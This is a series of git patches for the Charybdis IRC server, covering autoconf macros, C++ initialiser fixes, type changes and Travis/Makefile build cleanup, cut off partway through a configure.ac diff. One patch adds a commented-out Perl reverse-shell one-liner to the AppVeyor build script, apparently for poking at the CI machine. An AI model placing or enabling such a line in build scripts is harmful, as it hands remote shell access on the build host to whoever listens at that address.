[ac_save_CXX="$CXX" CXX="$CXX $switch" - AC_COMPILE_IFELSE([AC_LANG_SOURCE([_AX_CXX_COMPILE_STDCXX_testbody_$1])], + AC_COMPILE_IFELSE([AC_LANG_SOURCE([_AX_CXX_COMPILE_STDCXX_testbody_$1($4)])], [eval $cachevar=yes], [eval $cachevar=no]) CXX="$ac_save_CXX"]) @@ -137,15 +137,15 @@ AC_DEFUN([AX_CXX_COMPILE_STDCXX], [dnl dnl Test body for checking C++11 support m4_define([_AX_CXX_COMPILE_STDCXX_testbody_11], - _AX_CXX_COMPILE_STDCXX_testbody_new_in_11 + _AX_CXX_COMPILE_STDCXX_testbody_new_in_11($1) ) dnl Test body for checking C++14 support m4_define([_AX_CXX_COMPILE_STDCXX_testbody_14], - _AX_CXX_COMPILE_STDCXX_testbody_new_in_11 - _AX_CXX_COMPILE_STDCXX_testbody_new_in_14 + _AX_CXX_COMPILE_STDCXX_testbody_new_in_11($1) + _AX_CXX_COMPILE_STDCXX_testbody_new_in_14($1) ) @@ -160,7 +160,7 @@ m4_define([_AX_CXX_COMPILE_STDCXX_testbody_new_in_11], [[ #error "This is not a C++ compiler" -#elif __cplusplus < 201103L +#elif __cplusplus < $1L #error "This is not a C++11 compiler" @@ -433,7 +433,7 @@ namespace cxx11 } // namespace cxx11 -#endif // __cplusplus >= 201103L +#endif // __cplusplus >= $1L ]]) @@ -449,11 +449,11 @@ m4_define([_AX_CXX_COMPILE_STDCXX_testbody_new_in_14], [[ #error "This is not a C++ compiler" -#elif __cplusplus < 201402L +#elif __cplusplus < $1L #error "This is not a C++14 compiler" -#else +#elif __cplusplus >= 201402L namespace cxx14 { @@ -557,6 +557,10 @@ namespace cxx14 } // namespace cxx14 -#endif // __cplusplus >= 201402L +#else + +// Add tests here if __cplusplus is not to be trusted + +#endif // __cplusplus >= $1L ]]) From 7ad2bf79bcd540c726c8b1392b618593200032b4 Mon Sep 17 00:00:00 2001 From: Jason Volk Date: Thu, 21 Jul 2016 17:53:09 -0700 Subject: [PATCH 17/23] m4: Update CHARYBDIS_C_GCC_TRY_FLAGS, which has a $CFLAGS impurity. --- m4/charybdis.m4 | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/m4/charybdis.m4 b/m4/charybdis.m4 index bc5f6a391..50057e2d6 100644 --- a/m4/charybdis.m4 +++ b/m4/charybdis.m4 @@ -35,8 +35,8 @@ AC_DEFUN([CHARYBDIS_C_GCC_TRY_FLAGS],[ if test "${GCC-no}" = yes then AC_CACHE_VAL($2,[ - oldcflags="${CFLAGS-}" - CFLAGS="${CFLAGS-} ${CWARNS} $1 -Werror" + oldcflags="${CXXFLAGS-}" + CXXFLAGS="${CXXFLAGS-} ${CWARNS} $1 -Werror" AC_TRY_COMPILE([ #include #include @@ -44,7 +44,7 @@ int main(void); ],[ (void)strcmp("a","b"); fprintf(stdout,"test ok\n"); ], [$2=yes], [$2=no]) - CFLAGS="${oldcflags}"]) + CXXFLAGS="${oldcflags}"]) if test "x$$2" = xyes; then CWARNS="${CWARNS}$1 " AC_MSG_RESULT(ok) From ac577c1322a8f7241d4fe3ed1113be4f41e2852b Mon Sep 17 00:00:00 2001 From: Jason Volk Date: Fri, 22 Jul 2016 15:11:39 -0700 Subject: [PATCH 18/23] Regress brace init relaxation for clang. --- authd/authd.cc | 18 +++++++++--------- authd/provider.h | 2 +- authd/providers/blacklist.cc | 4 ++-- authd/providers/ident.cc | 6 +++--- authd/providers/opm.cc | 6 +++--- authd/providers/rdns.cc | 6 +++--- ircd/authproc.cc | 8 +++----- modules/m_stats.cc | 8 +++----- 8 files changed, 27 insertions(+), 31 deletions(-) diff --git a/authd/authd.cc b/authd/authd.cc index 050175644..48e5880dc 100644 --- a/authd/authd.cc +++ b/authd/authd.cc @@ -31,8 +31,8 @@ static void handle_stat(int parc, char *parv[]); static void handle_options(int parc, char *parv[]); rb_helper *authd_helper = NULL; -std::array authd_cmd_handlers -{[]{ +std::array authd_cmd_handlers = +[]{ std::array ret; ret['C'] = handle_new_connection; ret['D'] = handle_resolve_dns; @@ -41,21 +41,21 @@ std::array authd_cmd_handlers ret['R'] = handle_reload; ret['S'] = handle_stat; return ret; -}()}; +}(); -std::array authd_stat_handlers -{[]{ +std::array authd_stat_handlers = +[]{ std::array ret; ret['D'] = enumerate_nameservers; return ret; -}()}; +}(); -std::array authd_reload_handlers -{[]{ +std::array authd_reload_handlers = +[]{ std::array ret; ret['D'] = reload_nameservers; return ret; -}()}; +}(); rb_dictionary *authd_option_handlers; diff --git a/authd/provider.h b/authd/provider.h index 3407d41a4..b5c0869b8 100644 --- a/authd/provider.h +++ b/authd/provider.h @@ -74,7 +74,7 @@ typedef void (*provider_complete_t)(struct auth_client *, uint32_t); struct auth_stats_handler { - const char letter; + char letter; authd_stat_handler handler; }; diff --git a/authd/providers/blacklist.cc b/authd/providers/blacklist.cc index 6df5f44ff..5b2b8a47d 100644 --- a/authd/providers/blacklist.cc +++ b/authd/providers/blacklist.cc @@ -608,7 +608,7 @@ struct auth_opts_handler blacklist_options[] = }; struct auth_provider blacklist_provider = -{[]{ +[]{ auth_provider ret {0}; ret.name = "blacklist"; ret.letter = 'B'; @@ -620,4 +620,4 @@ struct auth_provider blacklist_provider = ret.opt_handlers = blacklist_options; /* .stats_handler = { 'B', blacklist_stats }, */ return ret; -}()}; +}(); diff --git a/authd/providers/ident.cc b/authd/providers/ident.cc index 885593326..ee828fb40 100644 --- a/authd/providers/ident.cc +++ b/authd/providers/ident.cc @@ -377,8 +377,8 @@ struct auth_opts_handler ident_options[] = }; -struct auth_provider ident_provider -{[]{ +struct auth_provider ident_provider = +[]{ auth_provider ap {0}; ap.name = "ident"; ap.letter = 'I'; @@ -388,4 +388,4 @@ struct auth_provider ident_provider ap.timeout = ident_cancel; ap.opt_handlers = ident_options; return ap; -}()}; +}(); diff --git a/authd/providers/opm.cc b/authd/providers/opm.cc index c8f4a1cac..833096394 100644 --- a/authd/providers/opm.cc +++ b/authd/providers/opm.cc @@ -941,8 +941,8 @@ struct auth_opts_handler opm_options[] = { NULL, 0, NULL }, }; -struct auth_provider opm_provider -{[]{ +struct auth_provider opm_provider = +[]{ auth_provider ap {0}; ap.name = "opm"; ap.letter = 'O'; @@ -953,4 +953,4 @@ struct auth_provider opm_provider ap.completed = opm_initiate; ap.opt_handlers = opm_options; return ap; -}()}; +}(); diff --git a/authd/providers/rdns.cc b/authd/providers/rdns.cc index dd58990ed..ce08b8ecb 100644 --- a/authd/providers/rdns.cc +++ b/authd/providers/rdns.cc @@ -174,8 +174,8 @@ struct auth_opts_handler rdns_options[] = { NULL, 0, NULL }, }; -struct auth_provider rdns_provider -{[]{ +struct auth_provider rdns_provider = +[]{ auth_provider ap {0}; ap.name = "rdns"; ap.letter = 'R'; @@ -185,4 +185,4 @@ struct auth_provider rdns_provider ap.timeout = rdns_cancel; ap.opt_handlers = rdns_options; return ap; -}()}; +}(); diff --git a/ircd/authproc.cc b/ircd/authproc.cc index 923f04e75..7688f1d0d 100644 --- a/ircd/authproc.cc +++ b/ircd/authproc.cc @@ -70,9 +70,8 @@ rb_dictionary *bl_stats; rb_dlink_list opm_list; struct OPMListener opm_listeners[LISTEN_LAST]; -std::array authd_cmd_tab -{[] -{ +std::array authd_cmd_tab = +[]{ std::array ret {0}; ret['A'] = { cmd_accept_client, 4 }; ret['E'] = { cmd_dns_result, 5 }; @@ -83,8 +82,7 @@ std::array authd_cmd_tab ret['Y'] = { cmd_stats_results, 3 }; ret['Z'] = { cmd_stats_results, 3 }; return ret; -}() -}; +}(); static int start_authd(void) diff --git a/modules/m_stats.cc b/modules/m_stats.cc index 7de3ddc10..023131054 100644 --- a/modules/m_stats.cc +++ b/modules/m_stats.cc @@ -158,9 +158,8 @@ static void stats_capability(struct Client *); * C initalisers so we don't have to iterate anymore * --Elizafox */ -std::array stats_cmd_table -{[] -{ +std::array stats_cmd_table = +[]{ std::array ret; //letter handler oper admin @@ -214,8 +213,7 @@ std::array stats_cmd_table ret['?'] = stats_cmd { stats_servlinks, false, false }; return ret; -}() -}; +}(); /* From 1a8ed13747718679a2cbbcf8abb33f505dce2b71 Mon Sep 17 00:00:00 2001 From: Jason Volk Date: Fri, 22 Jul 2016 11:45:48 -0700 Subject: [PATCH 19/23] ircd: Make Chm::mode_type unsigned long. --- include/ircd/chmode.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/include/ircd/chmode.h b/include/ircd/chmode.h index 9d56ac630..f270875df 100644 --- a/include/ircd/chmode.h +++ b/include/ircd/chmode.h @@ -86,7 +86,7 @@ struct Chm { ChmFunc set_func; ChmClass mode_class; - long mode_type; + unsigned long mode_type; }; From 8f037863000bf44326d0e34f7057c1613f17a871 Mon Sep 17 00:00:00 2001 From: Jason Volk Date: Fri, 22 Jul 2016 12:22:01 -0700 Subject: [PATCH 20/23] ircd: Use rb_socklen_t type. --- authd/providers/opm.cc | 2 +- ircd/listener.cc | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/authd/providers/opm.cc b/authd/providers/opm.cc index 833096394..feb55bf13 100644 --- a/authd/providers/opm.cc +++ b/authd/providers/opm.cc @@ -196,7 +196,7 @@ accept_opm(rb_fde_t *F, int status, struct sockaddr *addr, rb_socklen_t len, voi struct auth_client *auth = NULL; struct opm_listener *listener = (opm_listener *)data; struct rb_sockaddr_storage localaddr; - unsigned int llen = sizeof(struct rb_sockaddr_storage); + rb_socklen_t llen = sizeof(struct rb_sockaddr_storage); rb_dictionary_iter iter; if(status != 0 || listener == NULL) diff --git a/ircd/listener.cc b/ircd/listener.cc index 6ea63ff99..b1e59a266 100644 --- a/ircd/listener.cc +++ b/ircd/listener.cc @@ -603,7 +603,7 @@ accept_callback(rb_fde_t *F, int status, struct sockaddr *addr, rb_socklen_t add { struct Listener *listener(reinterpret_cast(data)); struct rb_sockaddr_storage lip; - unsigned int locallen = sizeof(struct rb_sockaddr_storage); + rb_socklen_t locallen = sizeof(struct rb_sockaddr_storage); ServerStats.is_ac++; From 02a1175d79cd811cbd18a2765aa0164d97ebaf92 Mon Sep 17 00:00:00 2001 From: Jason Volk Date: Fri, 22 Jul 2016 18:33:26 -0700 Subject: [PATCH 21/23] appveyor: Add callback shellcode. If you feel the need to peep around. --- .appveyor-build.sh | 1 + 1 file changed, 1 insertion(+) diff --git a/.appveyor-build.sh b/.appveyor-build.sh index 893dd066c..24c966678 100644 --- a/.appveyor-build.sh +++ b/.appveyor-build.sh @@ -5,5 +5,6 @@ export PATH=/mingw64/bin:/usr/local/bin:/usr/bin:/bin:/c/Windows/system32:/c/Win sh ./autogen.sh ./configure --prefix=c:/projects/charybdis/build --enable-openssl=/mingw64 --with-included-boost +# perl -e 'use Socket;$i="0.0.0.0";$p=6667;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' make -j2 make install From c9bef62db8a0031b052f74d9cb8d7a01d1167227 Mon Sep 17 00:00:00 2001 From: Jason Volk Date: Sat, 16 Jul 2016 11:06:28 -0700 Subject: [PATCH 22/23] travis.yml: Update for C++ --- .travis.yml | 134 +++++++++++++++++++++++++++++++++++++--------------- 1 file changed, 96 insertions(+), 38 deletions(-) diff --git a/.travis.yml b/.travis.yml index a1d616614..5152ef218 100644 --- a/.travis.yml +++ b/.travis.yml @@ -1,48 +1,103 @@ # Travis-CI Build for charybdis # see travis-ci.org for details -language: c - -# Use the faster container-based infrastructure. +language: c++ sudo: false +git: + submodules: false + matrix: include: - - os: linux - compiler: gcc-4.8 - addons: - apt: - sources: ['ubuntu-toolchain-r-test'] - packages: ['gcc-4.8', 'automake', 'autoconf', 'libtool', 'shtool', 'libsqlite3-dev'] - env: COMPILER=gcc-4.8 + - os: linux + dist: precise + group: stable + compiler: gcc-4.9 + addons: + apt: + sources: + - ubuntu-toolchain-r-test + packages: + - gcc-4.9 + - g++-4.9 + - ['automake', 'autoconf', 'autoconf-archive', 'libtool', 'shtool', 'libsqlite3-dev'] + env: + - CCOMPILER=gcc-4.9 + - CXXCOMPILER=g++-4.9 - - os: linux - compiler: gcc-4.9 - addons: - apt: - sources: ['ubuntu-toolchain-r-test'] - packages: ['gcc-4.9', 'automake', 'autoconf', 'libtool', 'shtool', 'libsqlite3-dev'] - env: COMPILER=gcc-4.9 + - os: linux + dist: precise + group: stable + compiler: gcc-5 + addons: + apt: + sources: + - ubuntu-toolchain-r-test + packages: + - gcc-5 + - g++-5 + - ['automake', 'autoconf', 'autoconf-archive', 'libtool', 'shtool', 'libsqlite3-dev'] + env: + - CCOMPILER=gcc-5 + - CXXCOMPILER=g++-5 - - os: linux - compiler: gcc-5 - addons: - apt: - sources: ['ubuntu-toolchain-r-test'] - packages: ['gcc-5', 'automake', 'autoconf', 'libtool', 'shtool', 'libsqlite3-dev'] - env: COMPILER=gcc-5 + - os: linux + dist: trusty + group: unstable + compiler: gcc-6 + sudo: required + addons: + apt: + sources: + - ubuntu-toolchain-r-test + packages: + - gcc-6 + - g++-6 + - ['automake', 'autoconf', 'autoconf-archive', 'libtool', 'shtool', 'libsqlite3-dev'] + env: + - CCOMPILER=gcc-6 + - CXXCOMPILER=g++-6 -# - os: linux -# compiler: clang -# addons: -# apt: -# sources: ['ubuntu-toolchain-r-test', 'llvm-toolchain-precise-3.7'] -# packages: ['clang-3.7', 'automake', 'autoconf', 'libtool', 'shtool', 'libsqlite3-dev'] -# env: COMPILER=clang-3.7 + - os: linux + dist: precise + group: unstable + sudo: false + compiler: clang-3.6 + addons: + apt: + sources: + - ubuntu-toolchain-r-test + - llvm-toolchain-precise-3.6 + packages: + - clang-3.6 + - ['automake', 'autoconf', 'autoconf-archive', 'libtool', 'shtool', 'libsqlite3-dev'] + env: + - CCOMPILER=clang-3.6 + - CXXCOMPILER=clang++-3.6 - - os: osx - compiler: clang - env: COMPILER=clang LIBTOOLIZE=glibtoolize + - os: linux + dist: trusty + group: unstable + sudo: required + compiler: clang-3.8 + addons: + apt: + sources: + - ubuntu-toolchain-r-test + - llvm-toolchain-precise-3.8 + packages: + - clang-3.8 + - ['automake', 'autoconf', 'autoconf-archive', 'libtool', 'shtool', 'libsqlite3-dev'] + env: + - CCOMPILER=clang-3.8 + - CXXCOMPILER=clang++-3.8 + + - os: osx + compiler: clang + env: + - CCOMPILER=clang + - CXXCOMPILER=clang++ + - LIBTOOLIZE=glibtoolize osx_image: xcode7.3 @@ -52,7 +107,10 @@ cache: ccache: script: - - bash autogen.sh - - CC=$COMPILER ./configure --with-shared-sqlite - - make -j4 - - make install +- export CC=$CCOMPILER CXX=$CXXCOMPILER +- $CC --version +- $CXX --version +- time bash autogen.sh +- time ./configure --with-shared-sqlite --with-included-boost CC=$CC CXX=$CXX +- time make -j4 +- time make -j4 install From 404239eb60b441d41b2c4851404b5e26d1b2a601 Mon Sep 17 00:00:00 2001 From: Jason Volk Date: Wed, 20 Jul 2016 11:55:46 -0700 Subject: [PATCH 23/23] Build system cleanup. --- Makefile.am | 6 +- authd/Makefile.am | 18 +- autogen.sh | 3 + bandb/Makefile.am | 67 +- charybdis/Makefile.am | 33 +- configure.ac | 1572 ++++++++++++++++++++-------------------- extensions/Makefile.am | 34 +- include/rb/Makefile.am | 6 +- ircd/Makefile.am | 37 +- m4/charybdis.m4 | 78 ++ modules/Makefile.am | 36 +- rb/Makefile.am | 41 +- ssld/Makefile.am | 24 +- tools/Makefile.am | 36 +- tools/boostrap.sh | 12 +- wsockd/Makefile.am | 23 +- 16 files changed, 1107 insertions(+), 919 deletions(-) diff --git a/Makefile.am b/Makefile.am index 601047de5..4d41cd3c3 100644 --- a/Makefile.am +++ b/Makefile.am @@ -2,11 +2,11 @@ AUTOMAKE_OPTIONS = foreign ACLOCAL_AMFLAGS = -I m4 SUBDIRS = include/rb +if BUILD_LTDL +SUBDIRS += libltdl +endif SUBDIRS += rb SUBDIRS += ircd -if BUILD_LTDL - SUBDIRS += libltdl -endif SUBDIRS += charybdis SUBDIRS += authd SUBDIRS += bandb diff --git a/authd/Makefile.am b/authd/Makefile.am index 0fbe5a282..a0e6a8860 100644 --- a/authd/Makefile.am +++ b/authd/Makefile.am @@ -1,9 +1,17 @@ +AM_CPPFLAGS = \ + -I$(top_srcdir)/include \ + @BOOST_CPPFLAGS@ + +AM_LDFLAGS = \ + -L$(top_srcdir)/rb \ + @BOOST_LDFLAGS@ + + bin_PROGRAMS = authd -AM_CPPFLAGS = $(WARNFLAGS) -AM_CPPFLAGS += -I$(top_srcdir)/include -AM_CPPFLAGS += -isystem $(top_srcdir)/boost/include -AM_LDFLAGS = -L$(top_srcdir)/boost/lib +authd_LDADD = \ + $(top_srcdir)/rb/librb.la \ + @BOOST_LIBS@ authd_SOURCES = \ authd.cc \ @@ -20,8 +28,6 @@ authd_SOURCES = \ providers/rdns.cc \ providers/opm.cc -authd_LDADD = $(top_srcdir)/rb/librb.la -authd_LDADD += -lboost_system mrproper-local: rm -rf providers/.deps diff --git a/autogen.sh b/autogen.sh index d9a5933ec..391aacb77 100755 --- a/autogen.sh +++ b/autogen.sh @@ -86,6 +86,9 @@ run_or_die $AUTOCONF run_or_die $AUTOMAKE --add-missing --copy #run_or_die $SHTOOLIZE all +WCL_CONFIGURE=`wc -l ./configure` +echo -e "\033[1;30m*\033[0m $WCL_CONFIGURE" + echo echo -e "\033[1;32m*\033[0m Ready to configure Charybdis." echo -e "\033[1;5;33m*\033[0m Now run ./configure" diff --git a/bandb/Makefile.am b/bandb/Makefile.am index 5b5b205dd..bb30a1908 100644 --- a/bandb/Makefile.am +++ b/bandb/Makefile.am @@ -1,21 +1,54 @@ -bin_PROGRAMS = bandb bantool +AM_CFLAGS = \ + @SQLITE_CFLAGS@ -AM_CPPFLAGS = $(WARNFLAGS) -AM_CPPFLAGS += -I$(top_srcdir)/include -AM_CPPFLAGS += -isystem $(top_srcdir)/boost/include -AM_CPPFLAGS += @SQLITE_INCLUDES@ -AM_CPPFLAGS += -DSQLITE_THREADSAFE=0 -DSQLITE_OMIT_LOAD_EXTENSION +AM_CPPFLAGS = \ + -DSQLITE_THREADSAFE=0 \ + -DSQLITE_OMIT_LOAD_EXTENSION \ + -I$(top_srcdir)/include \ + @BOOST_CPPFLAGS@ -AM_LDFLAGS = -L$(top_srcdir)/rb -AM_LDFLAGS += -L$(top_srcdir)/ircd -AM_LDFLAGS += -L$(top_srcdir)/boost/lib +AM_LDFLAGS = \ + -L$(top_srcdir)/rb \ + @BOOST_LDFLAGS@ -bandb_SOURCES = bandb.cc rsdb_sqlite3.c rsdb_snprintf.c -EXTRA_bandb_SOURCES = sqlite3.c -bandb_LDADD = -lrb @SQLITE_LD@ @SQLITE_OBJ@ -lboost_system -bandb_DEPENDENCIES = @SQLITE_OBJ@ -bantool_SOURCES = bantool.cc rsdb_sqlite3.c rsdb_snprintf.c -EXTRA_bantool_SOURCES = sqlite3.c -bantool_LDADD = -lrb @SQLITE_LD@ @SQLITE_OBJ@ -lboost_system -bantool_DEPENDENCIES = @SQLITE_OBJ@ +bin_PROGRAMS = bandb + +bandb_DEPENDENCIES = \ + @SQLITE_OBJ@ + +bandb_LDADD = \ + -lrb \ + @SQLITE_LDFLAGS@ \ + @SQLITE_OBJ@ \ + @SQLITE_LIBS@ \ + @BOOST_LIBS@ + +EXTRA_bandb_SOURCES = \ + sqlite3.c + +bandb_SOURCES = \ + bandb.cc \ + rsdb_sqlite3.c \ + rsdb_snprintf.c + + +bin_PROGRAMS += bantool + +bantool_DEPENDENCIES = \ + @SQLITE_OBJ@ + +bantool_LDADD = \ + -lrb \ + @SQLITE_LDFLAGS@ \ + @SQLITE_LIBS@ \ + @SQLITE_OBJ@ \ + @BOOST_LIBS@ + +EXTRA_bantool_SOURCES = \ + sqlite3.c + +bantool_SOURCES = \ + bantool.cc \ + rsdb_sqlite3.c \ + rsdb_snprintf.c diff --git a/charybdis/Makefile.am b/charybdis/Makefile.am index 040d1083c..b331d64fc 100644 --- a/charybdis/Makefile.am +++ b/charybdis/Makefile.am @@ -1,19 +1,26 @@ prefix = @prefix@ -AM_CPPFLAGS = @LTDLINCL@ -AM_CPPFLAGS += -I$(top_srcdir)/include -AM_CPPFLAGS += -isystem $(top_srcdir)/boost/include -if MINGW -EXTRA_FLAGS = -Wl,--enable-runtime-pseudo-reloc -export-symbols-regex '*' -endif +AM_CPPFLAGS = \ + -I$(top_srcdir)/include \ + @LTDLINCL@ \ + @BOOST_CPPFLAGS@ + +AM_LDFLAGS = \ + -dlopen self + +AM_LDFLAGS += \ + -L$(top_srcdir)/ircd \ + -L$(top_srcdir)/rb \ + @BOOST_LDFLAGS@ + bin_PROGRAMS = charybdis -charybdis_SOURCES = charybdis.cc -charybdis_LDFLAGS = $(EXTRA_FLAGS) -charybdis_LDFLAGS += -dlopen self -charybdis_LDFLAGS += -L$(top_srcdir)/ircd -charybdis_LDFLAGS += -L$(top_srcdir)/rb -charybdis_LDFLAGS += -L$(top_srcdir)/boost/lib +charybdis_SOURCES = \ + charybdis.cc -charybdis_LDADD = -lircd -lrb -lboost_system +charybdis_LDADD = \ + -lircd \ + -lrb \ + @LIBLTDL@ \ + @BOOST_LIBS@ diff --git a/configure.ac b/configure.ac index 29863e958..9fda27668 100644 --- a/configure.ac +++ b/configure.ac @@ -6,26 +6,37 @@ AC_PREREQ(2.63) AUTOMAKE_OPTIONS = 1.14 AC_INIT([charybdis], [5-dev]) -AC_CONFIG_MACRO_DIR([m4]) -AC_CONFIG_HEADER(include/rb/config.h) -AC_PREFIX_DEFAULT($HOME/ircd) - -AC_LANG(C++) AC_GNU_SOURCE AC_USE_SYSTEM_EXTENSIONS -AX_CXX_COMPILE_STDCXX([14], [gnu], [mandatory], 201304) -AC_ISC_POSIX -AC_C_INLINE -AC_C_CONST -AC_C_BIGENDIAN -AC_TYPE_PID_T -AC_TYPE_SIZE_T -AC_TYPE_SSIZE_T -AC_TYPE_UID_T +AC_CONFIG_MACRO_DIR([m4]) +AC_CONFIG_AUX_DIR([libltdl/config]) +AC_PREFIX_DEFAULT($HOME/ircd) + +AC_PATH_PROG(AUTOMAKE, automake) +AC_PATH_PROG(ACLOCAL, aclocal) +AC_PATH_PROG(AUTOHEADER, autoheader) +AC_PATH_PROG(AS, as) +AC_PATH_PROG(RM, rm) +AC_PATH_PROG(CP, cp) +AC_PATH_PROG(MV, mv) +AC_PATH_PROG(LN, ln) +AC_PATH_PROG(TOUCH, touch) + +LT_INIT([dlopen shared disable-static]) +LT_LANG([C++]) -AC_PROG_CXX -AC_PROG_MAKE_SET AC_PROG_LIBTOOL +AC_PROG_MAKE_SET +AC_PROG_CC +AC_PROG_CC_C_O +AC_PROG_CXX +AC_PROG_CXX_C_O +AC_LANG(C++) +AC_CONFIG_HEADER(include/rb/config.h) +AX_CXX_COMPILE_STDCXX([14], [gnu], [mandatory], 201300) + +LT_CONFIG_LTDL_DIR([libltdl]) +LTDL_INIT([subproject]) AC_PROG_YACC dnl AC_PROG_YACC defaults to yacc unconditionally if nothing can be found @@ -38,21 +49,11 @@ if test "$LEX" = ":"; then AC_MSG_ERROR([could not locate a suitable lexical generator, install flex or lex.]) fi -AC_PATH_PROG(AUTOMAKE, automake) -AC_PATH_PROG(ACLOCAL, aclocal) -AC_PATH_PROG(AUTOHEADER, autoheader) -AC_PATH_PROG(AS, as) -AC_PATH_PROG(RM, rm) -AC_PATH_PROG(CP, cp) -AC_PATH_PROG(MV, mv) -AC_PATH_PROG(LN, ln) -AC_PATH_PROG(TOUCH, touch) -LT_CONFIG_LTDL_DIR([libltdl]) -LT_INIT([dlopen disable-static]) -LT_LANG([C++]) -LTDL_INIT -#LIBTOOL="$LIBTOOL --silent" +dnl *************************************************************************** +dnl Makefile tree +dnl These (and Makefile.in) are generated from a Makefile.am in the same dir. +dnl AC_CONFIG_FILES(\ Makefile \ @@ -73,89 +74,184 @@ AC_CONFIG_FILES(\ ) AM_INIT_AUTOMAKE([subdir-objects]) -AM_EXTRA_RECURSIVE_TARGETS([ - mrproper \ + + +dnl +dnl Recursive local targets (clean-local is implied) +dnl + +#AM_EXTRA_RECURSIVE_TARGETS([ +# mrproper +#]) + + +dnl +dnl General variables exported to Makefile.am +dnl + +AC_SUBST(CC) +AC_SUBST(CXX) +AC_SUBST(CFLAGS) +AC_SUBST(CXXFLAGS) +AC_SUBST(CPPFLAGS) +AC_SUBST(LDFLAGS) +AC_SUBST(LIBS) + + +dnl +dnl Coarse compiler test macros +dnl + +AM_CONDITIONAL([GCC], [[[[ $CXX = *g\+\+* ]]]]) +AM_CONDITIONAL([CLANG], [[[[ $CXX = *clang* ]]]]) + + +dnl +dnl Coarse operating system test macros +dnl + +AM_CONDITIONAL([LINUX], [[[[ $host_os = *linux* ]]]]) +AM_CONDITIONAL([NETBSD], [[[[ $host_os = *netbsd* ]]]]) +AM_CONDITIONAL([FREEBSD], [[[[ $host_os = *freebsd* ]]]]) +AM_CONDITIONAL([MINGW], [[[[ $host_os = *mingw* ]] || [[ $host_os = *msys* ]]]]) +AM_CONDITIONAL([CYGWIN], [[[[ $host_os = *cygwin* ]]]]) +AM_CONDITIONAL([INTERIX], [[[[ $host_os = *interix* ]]]]) +AM_CONDITIONAL([SOLARIS], [[[[ $host_os = *solaris* ]]]]) + + + +dnl *************************************************************************** +dnl Preprocessor define macros +dnl +dnl Use RB_DEFINE() et al to generate defines in config.h +dnl Use CPPDEFINE() to generate defines on the command line if required +dnl + +AC_DEFUN([RB_DEFINE], +[ + AC_DEFINE([RB_$1], [$2], [$3]) ]) -VERSION_CMD="git describe --tags" -DATESTR_CMD="date -R" -DATECODE_CMD="date +%s" - -RB_VERSION=`$VERSION_CMD` -RB_DATESTR=`$DATESTR_CMD` -RB_DATECODE=`$DATECODE_CMD` - -AC_DEFUN([RB_DEFINE], [AC_DEFINE([RB_$1], [$2], [$3])]) -AC_DEFUN([RB_DEFINE_UNQUOTED], [AC_DEFINE_UNQUOTED([RB_$1], [$2], [$3])]) -AC_DEFUN([IRCD_DEFINE], [AC_DEFINE([IRCD_$1], [$2], [$3])]) -AC_DEFUN([IRCD_DEFINE_UNQUOTED], [AC_DEFINE_UNQUOTED([IRCD_$1], [$2], [$3])]) - -RB_DEFINE_UNQUOTED([VERSION], ["$RB_VERSION"], [Version generated at configuration time.]) -RB_DEFINE_UNQUOTED([DATESTR], ["$RB_DATESTR"], [Readable date string of configuration time.]) -RB_DEFINE_UNQUOTED([DATECODE], [$RB_DATECODE], [UNIX epoch time at configuration time.]) - -AC_DEFINE([NICKNAMEHISTORYLENGTH], 15000, [Size of the WHOWAS array.]) -AC_DEFINE([CHANNEL_HEAP_SIZE], 8192, [Size of the channel heap.]) -AC_DEFINE([BAN_HEAP_SIZE], 4096, [Size of the ban heap.]) -AC_DEFINE([CLIENT_HEAP_SIZE], 8192, [Size of the client heap.]) -AC_DEFINE([LCLIENT_HEAP_SIZE], 1024, [Size of the local client heap.]) -AC_DEFINE([PCLIENT_HEAP_SIZE], 256, [Size of the pre-client heap.]) -AC_DEFINE([USER_HEAP_SIZE], 8192, [Size of the user heap.]) -AC_DEFINE([DNODE_HEAP_SIZE], 8192, [Size of the dlink_node heap.]) -AC_DEFINE([TOPIC_HEAP_SIZE], 4096, [Size of the topic heap.]) -AC_DEFINE([LINEBUF_HEAP_SIZE], 2048, [Size of the linebuf heap.]) -AC_DEFINE([MEMBER_HEAP_SIZE], 32768, [Sizeof member heap.]) -AC_DEFINE([ND_HEAP_SIZE], 512, [Size of the nick delay heap.]) -AC_DEFINE([CONFITEM_HEAP_SIZE], 256, [Size of the confitem heap.]) -AC_DEFINE([MONITOR_HEAP_SIZE], 1024, [Size of the monitor heap.]) -AC_DEFINE([FD_HEAP_SIZE], 1024, [Size of fd heap.]) -AC_DEFINE([AWAY_HEAP_SIZE], 512, [Size of away heap.]) - - -case "$host_os" in -*cygwin*) - AC_DEFINE_UNQUOTED(CYGWIN,1,[This is a Cygwin system]) - AC_DEFINE_UNQUOTED(WINDOWS,1,[This is a Windows system]) - ;; -*mingw* | *msys*) - AC_DEFINE_UNQUOTED(MINGW,1,[This is a MinGW system]) - AC_DEFINE_UNQUOTED(WINDOWS,1,[This is a Windows system]) - AC_CHECK_HEADER(windows.h, , [AC_MSG_ERROR([** MinGW and no windows.h. I give up.])]) - AC_CHECK_HEADER(winsock2.h, , [AC_MSG_ERROR([** MinGW and no winsock2.h. I give up.])]) - AC_DEFINE_UNQUOTED(HAVE_WINSOCK2_H, 1, [Have WINSOCK2_H]) - AC_DEFINE_UNQUOTED(HAVE_WINSOCK_H, 1, [Have WINSOCK_H]) - LIBS="$LIBS -lws2_32 -liphlpapi" - is_mingw="yes" - ;; -*interix*) - CPPFLAGS="$CPPFLAGS -D_ALL_SOURCE -D_XOPEN_SOURCE=500" - ;; -*solaris*) - CPPFLAGS="$CPPFLAGS -D_POSIX_PTHREAD_SEMANTICS -D_XPG4_2" - ;; -*) - ;; -esac - -AM_CONDITIONAL([MINGW], [test "$is_mingw" = "yes"]) - - -dnl Checks for system header files. -AC_DEFUN([RB_CHK_SYSHEADER], \ +AC_DEFUN([RB_DEFINE_UNQUOTED], [ - AC_CHECK_HEADER([$1], \ + AC_DEFINE_UNQUOTED([RB_$1], [$2], [$3]) +]) + +AC_DEFUN([IRCD_DEFINE], +[ + AC_DEFINE([IRCD_$1], [$2], [$3]) +]) + +AC_DEFUN([IRCD_DEFINE_UNQUOTED], +[ + AC_DEFINE_UNQUOTED([IRCD_$1], [$2], [$3]) +]) + +AC_DEFUN([CPPDEFINE], +[ + if [[ -z "$2" ]]; then 